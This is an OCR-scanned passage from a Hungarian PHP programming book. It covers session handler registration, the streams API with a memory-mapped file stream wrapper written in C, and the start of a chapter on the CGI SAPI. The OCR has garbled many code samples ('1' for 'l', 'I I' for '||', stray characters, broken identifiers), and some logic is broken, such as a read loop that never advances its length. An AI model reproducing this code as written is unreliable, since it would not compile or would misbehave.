hanem a munkameneti bővítményben is be kell jegyeznünk. Ezért hát hívjuk meg
a php_session__register_module () -t az MINIT függvényben, az alábbiak szerint:

PHP_MINIT_FUNCTION(session_dbm)
{
php_session_register_module(&ps_mod_dbm);
return SUCCESS;
}

Most már beállíthatjuk új kezelőnket a php. ini fájlban:

session.save_handler=dbm

Sok webhely esetében tapasztalható, hogy szinte minden oldal működése munkamenetek
használatára támaszkodik, így a munkamenetek kezelése gyakran számottevő többletterhet
jelent, különösen felhasználói kezelők esetén. Mindez, az API egyszerűségével együtt, nagy-
szerű teljesítményfokozási lehetőségeket ígér a C munkamenet-kezelők alkalmazásával.
22. fejezet • A PHP bővítése: II. rész 615

A folyamkezelő API
A folyamkezelő API a PHP egyik figyelemreméltó fejlesztése, amely mindenféle bemeneti-
kimeneti elérést és a PHP bemeneti-kimeneti függvényeit egyetlen elvonatkoztatási réteggel
burkolja be. A folyamok használatának alapvető célja, hogy minden PHP-beli bemeneti-ki-
meneti műveletnek azonos általános felületet biztosítsunk, így az f open (), az f reád (), az
fwrite (), az f close () és az f stat () működjön, bármilyen módon is érjük el a fájlt (a
helyi fájlrendszeren, a HTTP-n vagy az FTP-n keresztül). Az API jelenléte lehetővé teszi,
hogy bejegyezzünk egy protokolltípust, megadjuk bizonyos egyszerű műveletek működési
módját, és így a PHP bemeneti-kimeneti függvényei itt is elérhetők legyenek.

Mindez a bővítmények fejlesztőinek szemszögéből azért nagyszerű, mert a folyamokkal


együttműködni képes protokollokat így csaknem ugyanúgy elérhetjük a C-ben, mint
a PHP-ben. íme egy PHP utasítás, és az azt megvalósító C kódrészlet:

return file_get_contents("http://www.advanced-php.com/");

php_stream *stream;
char *buffer;
int alloced = 1024;
int len = 0 ;

stream = php_stream_open_wrapper ("http: //www. advanced-php. com/ ") , "rb",


REPORT_ERRORS, NULL);
if(!stream) {
return;
}
buffer = emalloc(len) ;
while(!php_eof_stream(stream)) {
if (alloced == len + 1) {
alloced *= 2;
buffer = erealloc(buffer, alloced);
}
php_stream_read(stream, buffer + len, alloced - len - 1);
}
RETURN_STRINGL(buffer, 0);

A fenti kód első látásra hosszúnak tűnhet, de ne feledjük, hogy ez a függvény az égvilá-
gon semmit nem tud arról, miként nyithat meg egy HTTP kapcsolatot, vagy hogyan
olvashat adatokat egy hálózati csatolóról. Az ezt megvalósító eljárások a folyamkezelő
API kulisszái mögött rejtőznek, és a megfelelő protokollburkolót a rendszer kitalálja
a php_stream_open_wrapper () függvénynek átadott URL-ből.

Mindemellett zval folyamokat is létrehozhatunk, melyek segítségével erőforrásokat ad-


hatunk át a függvények között. íme az f open () egy újabb megvalósítása, melyet akkor
616 PHP fejlesztés felsőfokon

használhatunk, ha kikapcsoltuk az allow_url_f open beállítást a hálózati fájlleírók vé-


letlen megnyitásának elkerülésére, de továbbra is rendelkezésre szeretnénk bocsátani
őket, ha a felhasználó valóban ezt akarja:

PHP_FUNCTION(url_fopen)
{
php_stream *stream;
char *url;
long url_length;
char *flags;
int flags_length;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss",
&url, &url_length,
&flags, &flags_length) = = FAILURE) {
return;
}
stream = php_stream_open_wrapper(url, flags, REPORT_ERRORS, NULL);
if ( !stream) {
RETURN_FALSE;
}
php_stream_to_zval(stream, return_value);
}

A fentiekhez hasonlóan, folyamokat függvényeknek is átadhatunk. Ezeket a rendszer erő-


forrásokként tárolja, így kiolvasásukhoz az "r " formátumleírót kell alkalmaznunk, és
a php_stream_f rom_zval () segítségével át kell alakítanunk őket php_stream típusú-
vá, íme az f gets () egy egyszerű változata:

Megjegyzés
Az alábbi program leginkább bemutatási célokat szolgál. Az url_f open () segítségével
megnyitott folyam szabványos, így az általa visszaadott erőforrásra alkalmazhatjuk az egy-
szerű f gets () függvényt is.

PHP_FUNCTION(url_fgets)
{
php_stream *stream;
zval *stream_z;
int 1;
char buffer[1024];

if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
"z", &stream_z) == FAILURE) {
return;
}
22. fejezet • A PHP bővítése: li. rész 617

php_stream_from_zval(stream, &stream_z);
if(!php_stream_eof(stream)) {
1 = php_stream_gets(stream, buffer, sizeof(buffer));
}
RETURN_STRINGL(buffer, 1, 1);
}

A folyamok igazi ereje abban rejlik, hogy létrehozhatjuk saját folyamtípusainkat is - ez


különösen hasznos lehet, ha egy, a PHP-ben nem támogatott tárolási típushoz vagy proto-
kollhoz szeretnénk hozzáférni. A kerék újrafeltalálása most se legyen célunk: a rendes fáj-
lok és hálózati protokollok beépített folyamkezelői már rengeteg próbát kiálltak, és nagy-
szerűen alkalmazkodnak az egyes rendszerek sajátosságaihoz.

A folyamkezelő API alapgondolata, hogy minden bemeneti-kimeneti teendőnket hat ele-


mi művelet segítségével elvégezhessük:

• open () - Meghatározza, miként hozhatunk létre egy adatfolyamot.


• write () - Meghatározza, miként írhatunk adatokat a folyamba.
• read() - Meghatározza, miként olvashatunk adatokat a folyamból.
• close () - Meghatározza a folyam kikapcsolásának vagy megsemmisítésének me-
netét.
• f lush () - Biztosítja, hogy a folyamadatok bekerüljenek a tárolóba.
• seek () - A kívánt helyre ugrik a folyamban.

Gondolhatunk úgy ezekre a műveletekre, mintha egy felületet határoznának meg. Amennyi-
ben egy burkoló teljesen megvalósítja ezt a felületet, a PHP szabványos bemeneti-kimeneti
függvényei képesek lesznek együttműködni vele. Számomra a folyamkezelési felületek az
objektumközpontú programozás nagyszerű példáját adják. Mindössze néhány függvényt kell
egy API-hoz elkészítenünk, és protokolljaink képessé válnak az együttműködésre a PHP-vel,
továbbá befolyásolhatjuk a teljes PHP bemeneti-kimeneti függvénykönyvtárat.

A következőkben egyszerű példaként bemutatjuk, miként hozhatunk létre folyamkezelő


burkolót a memória-leképezésű fájlok köré. E fájlok lehetővé teszik, hogy több folyamat
megosztva használjon egy fájlt, és gyors ideiglenes tárolási lehetőséget biztosítanak. Cé-
lunk az, hogy ilyen kódokat használhassunk:

<?php
$mm = mmap_open("/dev/zero", 65536);
fwrite($mm, "Hello World\n");
rewind($mm);
echó fgets($mm);
?>
618 PHP fejlesztés felsőfokon

Meg kell tehát nyitnunk a /dev/zero eszközt, le kell képeznünk az mmap () segítségé-
vel, és ezután egyszerű fájlként elérhetjük.

A php_stream adattípus tartalmaz egy abstract nevű tulajdonságot - egy elvont muta-
tót, ami a folyam megvalósításra jellemző adatait tárolhatja. A folyam megvalósításának el-
ső lépése, hogy egy megfelelő adattípust hozzunk létre a memórialeképezésű fájl megje-
lenítésére. Mivel az mmap () egy fájlleírót és egy rögzített hosszadatot fogad, majd egy me-
móriacímet ad a fájl eléréséhez, legalábbis a memóriaszegmens kezdőcímét és hosszát
tudnunk kell. Az mmap () által foglalt szegmensek rögzített hosszúságúak, és nem szabad
túllépnünk a határaikat. A folyamoknak tudniuk kell továbbá aktuális helyzetüket a táro-
lóban (hogy lehetőség nyíljon többszöri olvasásra, írásra és lépkedésre), így követnünk
kell ezt a helyzetet is. Az mmap_stream_data tartalmazza ezeket az adatokat, így nagy-
szerűen betölti az elvont folyamadattípus szerepét a példánkban. A szerkezet így fest:

struct mmap_stream_data {
void *base_pos;
void *current_pos;
int len;
>;

Következő feladatunk a felület megvalósítása. Kezdjük a write-tal - ez a függvény az


alábbi paramétereket fogadja:

• php_stream *stream - A folyam.


• char *buf - A tároló, ahonnan beolvassuk az adatokat.
• size_t count - A tároló, valamint az írni kívánt adatok mérete.

A write függvény visszatérési értéke a sikeresen beírt bájtok száma. Lássuk hát az
mmap_write () megvalósítását:

size_t mmap_write(php_stream * stream, char *buf,


size_t count TSRMLS_DC)
{
int wrote;
struct mmap_stream_data *data = stream->abstract ;
wrote = MIN(data->base_pos + data->len - data->current_pos, count);
if(wrote == 0) {
return 0;
}
memcpy(data->current_pos, buf, wrote);
data->current_pos += wrote;
return wrote;
}
22. fejezet • A PHP bővítése: II. rész 619

Figyeljük meg, hogy az mmap_stream_data szerkezet értékét közvetlenül a folyam


abstract eleméből olvastuk ki. Ezután biztosítjuk, hogy a beírt adatok nem csordulnak
túl a tárolón, annyit írunk, amennyit csak lehet, és visszatérünk a beírt bájtok számával.

Az mmap_read () csaknem megegyezik az mmap_write () függvénnyel:

size_t mmap_read(php_stream *stream, char *buf,


. size_t count TSRMLS_DC)
{
int to_read;
struct mmap_stream_data *data = stream->abstract;
to_read = MIN(data->base_pos + data->len - data->current_pos, count);
if(to_read == 0) {
return 0;
}
memcpy(buf, data->current_pos, to_read);
data->current_pos += to_read;
return to_read;
}

Az nimap_read () ugyanazokat a paramétereket fogadja, mint az mmap_write (), de


a tárolóból most olvasunk. A visszatérési érték a kiolvasott bájtok száma.

Az nunap_f lush () az f sync () fájlműveleteit utánozza a folyamokon. Kódja így fest:

int mmap_flush(php_stream *stream TSRMLS_DC)


{
struct mmap_stream_data *data = stream->abstract;
return msync(data->base_pos, data->len, MS_SYNC I MS_INVALIDATE);
}

Minden tárolható adatot ki kell írnunk a háttértárolóba. Az mmap_f lush () függvény


egyetlen paramétert fogad - a szóban forgó folyam php_stream mutatóját - és siker ese-
tén 0-val tér vissza.

Következő feladatunk a lépdelés megvalósítása. A felületet a C lseek () függvényétől


kölcsönöztük, így az alábbi paramétereket fogadjuk:

• php_stream *stream - A folyam.


• of f_t of f set - A lépésszám.
• int whence - A lépések kiindulópontja, ami SEEK_SET, SEEK_CUR vagy
SEEK_END (a folyam eleje, aktuális helyzete, vagy vége) lehet.
• of f_t *newoffset - Kimeneti változó, ami megadja új helyzetünket a folyam
kezdetéhez képest.
620 PHP fejlesztés felsőfokon

Az mmap_seek () kissé hosszabb, mint a többi függvény, javarészt a whence paraméter


eseteinek kezelése miatt. A korábbiakhoz hasonlóan itt is megvizsgáljuk, hogy nem lépjük-e
túl a tároló határait. Siker esetén a visszatérési érték 0, kudarcnál -1, Lássuk a megvalósítást:

int mmap_seek(php_stream *stream, off_t offset, int whence,


off_t *newoffset TSRMLS_DC)
{
struct mmap_stream_data *data = stream->abstract;
switch(whence) {
case SEEK_SET:
if (offset < 0 I I offset > data->len) {
*newoffset = (off_t) -1;
return -1;
}
data->current_pos = data->base_pos + offset;
*newoffset = offset;
return 0 ;
break;
case SEEK_CUR:
if(data->current_pos + offset < data->base_pos II
data->current_pos + offset > data->base_pos + data->len) {
*newoffset = (off_t) -1;
return -1;
}
data->current_pos += offset;
*newoffset = data->current_pos - data->base_pos;
return 0;
break;
case SEEK_END:
if (offset > 0 II -1 * offset > data->len) {
*newoffset = (off_t) -1;
return -1;
}
data->current_pos += offset;
*newoffset = data->current_pos - data->base_pos;
return 0;
break;
default:
*newoffset = (off_t) -1;
return -1;
}
}

Végezetül, következzék a close függvény:

int mmap_close(php_stream *stream, int close_handle TSRMLS_DC)


{
struct mmap_stream_data *data = stream->abstract;
22. fejezet • A PHP bővítése: II. rész 621

if (close_handle) {
munmap (data->base__pos, data->len) ;
}
efree(data);
return 0;
}

A close függvény feladata a megnyitott erőforrások bezárása és az mmap_stream_data


mutató felszabadítása. Mivel a folyamok lezárása egyaránt megvalósulhat az automatikus
szemétgyűjtés és felhasználói kérelem nyomán, esetenként nem a close függvény felelős
az aktuális erőforrás bezárásért. Ennek megoldására a függvény a php_stream mellett
egy egész értékű close_handle értéket is kap, ami jelzi, ha valóban a kapcsolat lezárá-
sára van szükség.

A folyamok megnyitásáról még nem szóltunk, de minden belső műveletet megvalósítot-


tunk, így ha szert teszünk egy megnyitási függvényre, az f reád (), f gets (), fwrite ()
és társaik rendben működnek majd.

Ahhoz, hogy egy folyamot bejegyezzünk a megnyitási függvényben, először létre kell
hoznunk egy php_stream_ops szerkezetet, ami megadja a korábban megvalósított hor-
gok neveit. Az mmap folyamok esetében ez így fest:

php_stream_ops mmap_ops = {
mmap_write, /* írás */
mmap_read, /* olvasás */
mmap_close, /* bezárás */
mmap_flush, /* kiírás */
"mmap stream", /* a folyam típusának neve */
mmap_seek, /* keresés */
NULL, /* cast */
NULL, /* stat */
NULL /* set option */
};

Az utóbbi három horgot nem valósítottuk meg. Meghatározásuk megtalálható a folyamke-


zelő API leírásában, de jelen burkolónkban nincs rájuk szükség.

A felületet meghatározása után bejegyezhetjük egy saját megnyitási függvénybe. Az aláb-


biakban bemutatjuk az mmap_open () függvényt, ami egy fájlnevet és egy hosszértéket
fogad, alkalmazza az nimap-et, és egy folyammal tér vissza:

PHP_FUNCTION(mmap_open)
{
char *filename;
622 PHP fejlesztés felsőfokon

long filename_len;
long file_length;
int fd;
php_stream * stream;
void *mpos;

struct mmap_stream_data *data;

if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl",


&filename, &filename_len, &file_length) == FAILURE)
{
return;
}
if((fd = openffilename, 0_RDWR)) < -1) {
RETURN_FALSE;
}
if((mpos = mmap(NULL, file_length, PROT_READIPROT_WRITE,
• MAP_PRIVATE, fd, 0))
== (void *) -1) {
close(fd);
RETURN_FALSE;
}
data = emalloc(sizeof(struct mmap_stream_data));
data->base_pos = mpos;
data->current_pos = mpos;
data->len = file_length;
close(fd);
stream = php_stream_alloc(&mmap_ops, data, NULL, "r+");
php_stream_to_zval(stream, return_value);
}

Az open () és az mmap () hívása után lefoglalunk egy mmap_stream_data szerkezetet,


beállítjuk az értékét, és bejegyezzük, mint egy mmap megvalósítású folyamot:

stream = php_stream_alloc(&mmap_ops, data, NULL, "r+");

Ezzel egy új folyamot kapunk a megadott elvont adattárolóval, továbbá bejegyezzük az


mmap_ops által megadott műveleteket.

A bővítmény betöltése után már végrehajthatjuk az alábbi kódot:

<?php
$mm = mmap_open("/dev/zero" , 1024);
fwrite($mm, "Hello World\n");
rewind($mm);
echó fgets($mm);
?>
22. fejezet • A PHP bővítése: II. rész 623

A korábbiakban már találkoztunk az alábbi kóddal, ami egy URL-t nyit meg:

php_stream_open_wrapper
("http://www.advanced-php.com","rb",REPORT_ERRORS,NULL);

Hasonló kódot a PHP-ben is végrehajthatunk:

$fp = fopen("http://www.advanced-php.com");

A folyamkezelő alrendszer ismeri a HTTP-t, és így képes automatikusan kiosztani a meg-


nyitott kérelmet a megfelelő folyamburkolónak. Ilyen burkolókat bővítményekben (sőt,
felhasználói PHP kódban) is bejegyezhetünk. Esetünkben ez lehetővé teszi számunkra
egy mmap fájl megnyitását a megadott mmap URL alapján:

<?php
$mm = fopen("mmap:///dev/zero:65536") ;
fwrite($mm, "Hello World\n");
rewind($mm) ;
echó fgets($mm);
?>

Mindennek megvalósítása felületünkre építve meglepően egyszerű. Először is létre kell


hoznunk egy php_stream_wrapper_ops szerkezetet. Ez meghatározza a megnyitási,
bezárási, folyamstatisztikai, URL-statisztikai, könyvtármegnyitási és szétcsatolási művelete-
ket. A php_stream_ops korábban bemutatott műveletei mind megnyitott folyamokra
hatnak, míg az itt leírtak nyers URL-ekre, illetve fájlokra, amelyek nem feltétlenül kell,
hogy nyitva legyenek.

íme egy kisméretű burkoló az fopen () használatának lehetővé tételére:

php_stream_wrapper_ops mmap_wops = {
mmap_open,
NULL, NULL, NULL, NULL,
"mmap wrapper"
};

A burkoló műveleteinek meghatározása után el kell készítenünk magát a burkolót is. Ezt
a php_stream_wrapper szerkezettel tehetjük meg:

php_stream_wrapper mmap_wrapper = {
&mmap_wops, /* a burkoló által végezhető műveletek */
NULL, /* a burkoló elvont környezete */
0 /* hálózati URL? (a z fopen_url_allow számára) */
};
624 PHP fejlesztés felsőfokon

Ezután meg kell határoznunk az mmap_open () függvényt. Ez nem egyezik meg


a PHP_FUNCTION (mmap_open) -nel - egy olyan függvényről van szó, ami megfelel
a php_stream_wrapper_ops által igényelt felületnek. Függvényünk az alábbi paramé-
tereket fogadja:

Az mmap_open () függvénynek egy php_stream mutatót kell visszaadnia.

Az mmap_open () meglehetősen hasonlít a PHP_FUNCTION (mmap_open) -hez, ennek el-


lenére igen lényeges különbségek vannak köztük:

• A fiiename a teljes URI-t tartalmazza, így el kell távolítanunk a cím elején álló
mmap: / / karakterláncot.
• A méretet az mmap: / / Ipa th:si ze alakból szeretnénk kiolvasni. Ha ezt nem kap-
juk meg, a stat () -ot kell alkalmaznunk a fájlon a méret meghatározására.

Lássuk az mmap_open () teljes kódját:

php_stream *mmap_open(php_stream_wrapper *wrapper, char *filename,


char *mode,
int options, char **opened_path,
php_stream_context *context STREAMS_DC
TSRMLS_DC)
{
php_stream *stream;
struct mmap_stream_data *data;
char *tmp;
int file_length = 0 ;
struct stat sb;
int fd;
void *mpos;

filename += sizeof("mmap://") - 1;
if(tmp = strchr(filename, ' : ' ) ) {
22. fejezet • A PHP bővítése: II, rész 625

/* null értékkel lezárja a karakterláncot a ':' beolvasásánál


- innentől következik a hossz */
tmp++;
*tmp = '\0';
if(tmp) {
file_length = atoi(tmp);
}
}

if((fd = open(filename, 0_RDWR)) < -1) {


return NULL;
}
if(!file_length) {
if(fstat(fd, &sb) == -1) {
close(fd);
return NULL;
}
file_length = sb.st_size;
}
if((mpos = mmap(NULL, file_length, PROT_READ|PROT_WRITE,
MAP_PRIVATE, fd, 0))
== (void *) -1) {
return NULL;
}
data = emalloc(sizeof(struct mmap_stream_data));
data->base_pos = mpos;
data->current_pos = mpos;
data->len = file_length;
close(fd);
stream = php_stream_alloc(&mmap_ops, data, NULL, "m od e");
if(opened_path) {
*opened_path = estrdup(filename);
}
return stream;
}

Nem maradt más hátra, mint bejegyezni ezt a függvényt a motorban - helyezzünk el hát
egy bejegyző horgot az MINIT függvényben:

PHP_MINIT_FUNCTION(mmap_session)
{
php_register_url_stream_wrapper("mmap", &mmap_wrapper TSRMLS_CC);
}
626 PHP fejlesztés felsőfokon

Első paraméterünk, az „mmap" utasítja a folyamkezelő alrendszert, hogy a burkolóhoz


irányítson minden olyan URL-t, amely az mmap protokoll alá tartozik. Szükség van még
egy kijelentkezési függvény bejegyzésére is az MSHUTDOWN-ban:

PHP_MSHUTDOWN_FUNCTION(mmap_session)
{
php_unregister_url_stream_wrapper("mmap" TSRMLS_CC);
}

Fejezetünkben mindössze rövid betekintést adhattunk a folyamkezelő API használatába.


Érdemes megemlítenünk a folyamszűrők írásának lehetőségét is, melyekkel a felhasználó
számára rejtett módon megváltoztathatjuk a folyamból olvasott, illetve a folyamba írt ada-
tokat. A PHP 5-ben több gyári folyamszűrőt is találhatunk, melyek a következő művelete-
ket végzik:

• Tartalomtömörítés
• HTTP 1.1 darabolt kódolás, illetve visszafejtés
• Folyamkódolás az mcrypt segítségével
• Üreshelyek kezelése

A folyamkezelő API számos igen hasznos lehetőséget biztosít azáltal, hogy segítségével
a háttérben átírhatjuk a PHP összes belső bemeneti-kimeneti függvényét. A fejlesztői tár-
sadalom még csak most ismerkedik a lehetőségekkel, így a következő években sok kelle-
mes meglepetésben lehet részünk e téren.

További olvasmányok
Az osztályok és folyamok kezelésére meglehetősen kevés utalást találhatunk a hivatalos
PHP dokumentációban. A legtöbbet talán úgy tanulhatunk, ha elmélyedünk a forráskó-
dokban. Az objektumközpontú bővítményekhez az alábbiak nyújthatnak némi segítséget:

• A Zend Engine2 Reflection API, melyet a PHP forráskönyvtárában találhatunk,


a Zend/ref lection_api . c fájlban, nagyszerű kiindulópont C osztályok készíté-
séhez.
• A folyamkezelő API leírását megtalálhatjuk a PHP elektronikus kézikönyvében,
a http: //www.php.net/manual/en/streams .php címen. Mindemellett az
API egyik tervezője, Wez Furlong is közreadott egy nagyszerű értekezést a témá-
ban, melyet a http: //talks .php.net/index.php/Streams címen tekinthe-
tünk meg.
SAPI-k készítése
és a Zend Engine bővítménye

A C-beli PHP bővítmények készítése mellett írhatunk olyan C alkalmazásokat is, amelyek
PHP kódokat futtatnak. Erre több okunk is lehet:

• Ezzel lehetővé tehetjük, hogy a PHP hatékonyan működhessen egy új webkiszol-


gáló rendszerén.
• így kihasználhatjuk a programnyelv egyszerűségét programunkon belül. A PHP
igen hatékony sablonhasználati lehetőségeket biztosít, melyeket számos alkalma-
zásba gond nélkül beilleszthetünk. Jó példa erre az a PHP szűrő SÁPI, amely PHP
felületet biztosít sendmail-szűrők PHP-beli készítéséhez.
• Könnyebbé válik a bővítés. Lehetővé tehetjük végfelhasználóink számára, hogy
a PHP segítségével könnyedén testreszabhassák az alkalmazás egyes részeit.

A SAPI-król
Az alkalmazások és a PHP egymásra épülésében a SAPI-k jelentik a kötőanyagot, ugyan-
is ezek határozzák meg, milyen módon közlekedhetnek az adatok az alkalmazás és
a PHP között.

Fejezetünk további részében megismerkedünk a viszonylag egyszerű PHP CGI SAPI-val,


valamint a beágyazási SAPI-val, ami lehetővé teszi a PHP beágyazását olyan alkalmazá-
sokba, amelyek nem rendelkeznek komolyabb különleges igényekkel.

A CGI SÁPI
A CGI SÁPI nagyszerűen bemutatja, miként épülnek fel a SAPI-k általában. Nagyszerűsége
éppen egyszerűségében rejlik, hiszen nem kell bonyolult külső egyedekkel összeszer-
kesztenünk, mint a mod_php-t. Viszonylagos egyszerűsége ellenére lehetővé teszi össze-
tett környezeti adatok, így GET, POST és sütiadatok beolvasását. Az ilyen adatok ilyen be-
vitele a legtöbb SÁPI alapfeladata, így kezelésük megértése igen fontos.
628 PHP fejlesztés felsőfokon

A SÁPI meghatározó szerkezete a sapi_module_struct nevet viseli - ez adja meg, mi-


ként kötheti össze a SÁPI a PHP-t és a környezetet, így hát itt állíthatjuk be a környezeti
és a lekérdezésbeli változókat. A sapi_module_struct adatok és függvénymutatók
egyvelege, amelyek pontosan meghatározzák, miként hozhatók és vihetők az adatok
a PHP és a környezete között. Lássuk most e szerkezet felépítését:

struct _sapi_module_struct {
char *name;
char *pretty_name;
int (*startup)(struct _sapi_module_struct *sapi_module);
int (*shutdown)(struct _sapi_module_struct *sapi_module);
int (*activate)(TSRMLS_D);
int (*deactivate)(TSRMLS_D);
int (*ub_write)(const char *str,
unsigned int str_length TSRMLS_DC);
void (*flush)(void *server_context);
struct stat *(*get_stat)(TSRMLS_D);
char * (*getenv) (char *name, size_t name_len TSRMLS_DC);
void (*sapi_error)(int type, const char *error_msg, . ..);
int (*header_handler)(sapi_header_struct *sapi_header,
sapi_headers_struct *sapi_headers TSRMLS_DC) ;
int (*send_headers)(sapi_headers_struct *sapi_headers TSRMLS_DC);
void (*send_header)(sapi_header_struct *sapi_header,
void *server_context TSRMLS_DC);
int (*read_post)(char *buffer, uint count_bytes TSRMLS_DC);
char *(*read_cookies)(TSRMLS_D);
void (*register_server_variables)(zval *track_vars_array TSRMLS_DC);
void (*log_message)(char *message);
char *php_ini_path_override;
void (*block_interruptions)(void);
void (*unblock_interruptions)(void);
void (*default_post_reader)(TSRMLS_D);
void (*treat_data) (int arg, char *str, zval *destArray TSRMLS_DC) ;
char *executable_location;
int php_ini_ignore;
int (*get_fd)(int *fd TSRMLS_DC);
int (*force_http_10)(TSRMLS_D);
int (*get_target_uid)(uid_t * TSRMLS_DC);
int (*get_target_gid)(gid_t * TSRMLS_DC);
unsigned int (*input_filter)(int arg, char *var, char **val,
unsigned int val_len TSRMLS_DC);
void (*ini_defaults)(HashTable *configuration_hash);
int phpinfo_as_text;
};
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 629

íme a CGI SÁPI modulszerkezete:

static sapi_module_struct cgi_sapi_module = {


"cgi", /* név */
"CGI", /* formázott név */
php_cgi_startup, /* indítás */
php_module_shutdown_wrapper, /* leállítás */
NULL, /* bekapcsolás */
sapi_cgi_deactivate, /* kikapcsolás */
sapi_cgibin_ub_write, /* tárolás nélküli írás */
sapi_cgibin_flush, /* kiürítés */
NULL, /* uid lekérése */
sapi_cgibin_getenv, /* getenv */
php_error, /* hibakezelő */
NULL, /* fejléckezelő */
sapi_cgi_send_headers, /* fejléckezelő küldése */
NULL, /* fejléckezelő küldése */
sapi_cgi_read__post, /* POST adatok olvasása */
sapi_cgi_read_cookies, /* sütik olvasása */
sapi_cgi_register_variables, /* kiszolgálói változók
bejegyzése */
sapi_cgi_log_message, /* naplóüzenet */
STANDARD_SAPI_MODULE_PROPERTIES
};

Figyeljük meg, hogy a szerkezet utolsó 14 mezője kimaradt, helyettük a STANDARD_SA-


PI_PROPERTIES makró áll. Ez, a SAPI-k írói által oly előszeretettel alkalmazott módszer
azt használja ki, hogy a C-ben a kihagyott változók automatikusan NULL értéket kapnak.

A szerkezet első két mezője a SÁPI nevét adja meg - ezeket kapjuk vissza, ha egy prog-
ramban a phpinf o () vagy a php_sapi_name () függvényeket hívjuk meg.

A harmadik mező, a sapi_module_struct. startup, egy függvénymutató - az így


megadott függvényt hívja meg minden, a PHP SAPI-t megvalósító alkalmazás indulásakor.
E függvény egyik fontos feladata a betöltés további részének elvégzése a php_modu-
le_startup () hívásával, átadva számára a modul adatait. A CGI modulban csak ez az
indítási folyamat fut le:

static int php_cgi_startup(sapi_module_struct *sapi_module)


{
if (php_module_startup(sapi_module, NULL, 0) == FAILURE) {
return FAILURE;
}
return SUCCESS;
}
630 PHP fejlesztés felsőfokon

A negyedik mező, a sapi_module_struct. shutdown, amely a SÁPI kikapcsolásakor


meghívott függvényt adja meg (végrehajtása többnyire az alkalmazás kikapcsolásakor tör-
ténik meg). A CGI SÁPI (a PHP-vel kapott SAPI-k zöméhez hasonlóan) kikapcsolási függ-
vényként a php_module_shutdown_wrapper-t hívja meg, ami viszont egyszerűen
a php_module_shutdown hívásához vezet:

int php_module_shutdown_wrapper(sapi_module_struct *sapi_globals)


{
TSRMLS_FETCH();
php_module_shutdown(TSRMLS_C);
return SUCCESS;
}

Amint a 20. fejezetben is olvashattuk, a SÁPI minden kérelem indításakor és lezárásakor hívá-
sokat intéz a futásidejű környezet megtisztítására, illetve az erőforrások esetleges visszaállítá-
sára. Az itt alkalmazott függvények mutatói adják a sapi_module_struct ötödik és hato-
dik mezőjét. A CGI SÁPI nem határozza meg a sapi_module_struct. activate függ-
vényt, vagyis nem ad meg alapértelmezett kódot, a sapi_module_struct. deactivate-et
azonban bejegyzi. Itt a CGI SÁPI kiírja kimeneti fájlfolyamait, biztosítva ezzel, hogy a felhasz-
nálók hozzájutnak az adatokhoz, mielőtt a SÁPI bezárná a csatoló felé eső oldalát. Az alábbi-
akban bemutatjuk a kikapcsoló kódot, valamint a kiürítő segédfüggvényt:

static void sapi_cgibin_flush(void *server_context)


{
if (fflush(stdout)==EOF) {
php_handle_aborted_connection();
}
}
static int sapi_cgi_deactivate(TSRMLS_D)
{cdx
sapi_cgibin_flush(SG(server_context));
return SUCCESS;
}

Figyeljük meg, hogy kifejezetten az stdout-ot ürítettük ki - ennek az az oka, hogy a CGI
SÁPI kódolása szerint kizárólag ide küldi a kimenetet.

Az Apache mod_php modulja ennél jóval összetettebb activate és deactivate függ-


vényeket bocsát rendelkezésünkre. Az előbbi memóriatakarító függvényeket jegyez be ar-
ra az esetre, ha az Apache idő előtt kikapcsolna (például ha az ügyfél a Stop gombra kat-
tint böngészőjében, vagy a program túllépi az Apache időkorlátját).

A hetedik mező, a sapi_module_struct .ub_write akkor lép működésbe, ha a PHP-


nek kimenettárolás nélkül kell adatokat átadnia a felhasználó számára. Ez az a függvény,
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 631

amely elküldi az adatokat, ha PHP programunkban a print vagy az echó utasításokat al-
kalmazzuk. Amint korábban említettük, a CGI SÁPI közvetlenül az stdout-ra ír. Lássunk
most egy egyszerű megoldást, amely 16 KB-os adatcsomagokat ad át:

static inline size_t sapi_cgibin_single_write(const char *str,


uint str_length TSRMLS_DC)
{
size__t ret;
ret = fwrite(str, 1, MIN(str_length, 1 6 38 4 ), stdout);
return ret;
}

static int sapi_cgibin_ub_write(const char *str, uint str_length


TSRMLS_DC)
{
const char *ptr = str;
uint remaining = str_length;
size_t ret;

while (remaining > 0) {


ret = sapi_cgibin_single_write(ptr, remaining TSRMLS_CC);
if ( ! r et ) {
php_handle_aborted_connection();
return str_length - remaining;
}
ptr += ret;
remaining -= ret;
}
return str_length;
}

Itt az egyes karaktereket külön-külön írtuk ki, ami nem túl hatékony módszer, de köny-
nyen alkalmazható rendszerek széles skáláján. Persze ahol a rendszer támogatja a POSIX
bemeneti-kimeneti lehetőségeket, függvényünket az alábbi alakra zsugoríthatjuk:

static int sapi_cgibin_ub_write(const char *str,


uint str_length TSRMLS_DC)
{
size_t ret;
ret = write(fileno(stdout), str, str_length);
return (ret >= 0)?ret:0;
}

A nyolcadik mező a sapi_module_struct. f lush, ami lehetőséget ad a folyamtárolók


kiürítésére (ez történik például, ha PHP programunkban a f lush () függvényt hívjuk).
A CGI SÁPI itt a sapi_cgibin_f lush függvényt alkalmazza, melyet már láthattunk
a deactivate szerkezetének vizsgálatánál.
632 PHP fejlesztés felsőfokon

A kilencedik mező a sapi_module_struct. get_stat, mellyel az alapértelmezett


stat () függvényt írhatjuk felül, annak biztosításra, hogy a program futhasson biztonsá-
gos módban is. A CGI nem valósítja meg ezt a horgot.

A tizedik mező a sapi_module_struct. getenv, amely felületet ad a környezeti válto-


zók név szerinti kereséséhez. Mivel a CGI SÁPI egy hagyományos héjprogramhoz hason-
lóan viselkedik, a sapi_cgibin_getenv () függvénye egy egyszerű átjáró a getenv ()
C függvényhez:

static char *sapi_cgibin_getenv(char *name,


size_t name_len TSRMLS_DC)
{
return getenv(name);
}

Bonyolultabb alkalmazásokban, mint a mod_php, a SAPI-nak az alkalmazás belső környe-


zeti szolgáltatásai felett kell a sapi_module_struct. getenv függvényt megvalósítania.

A tizenegyedik mező a sapi_module_struct. sapi_error visszahívás. Ez határozza


meg, milyen függvény lépjen működésbe, ha felhasználói hiba következik be vagy
a rendszer belső hívást intéz a zend_error () -hoz. A legtöbb SÁPI esetében itt a PHP
beépített hibakezelőjét, a php_error-t állítják be.

A tizenkettedik mező a sapi_module_struct. header_handler, melyet a rendszer


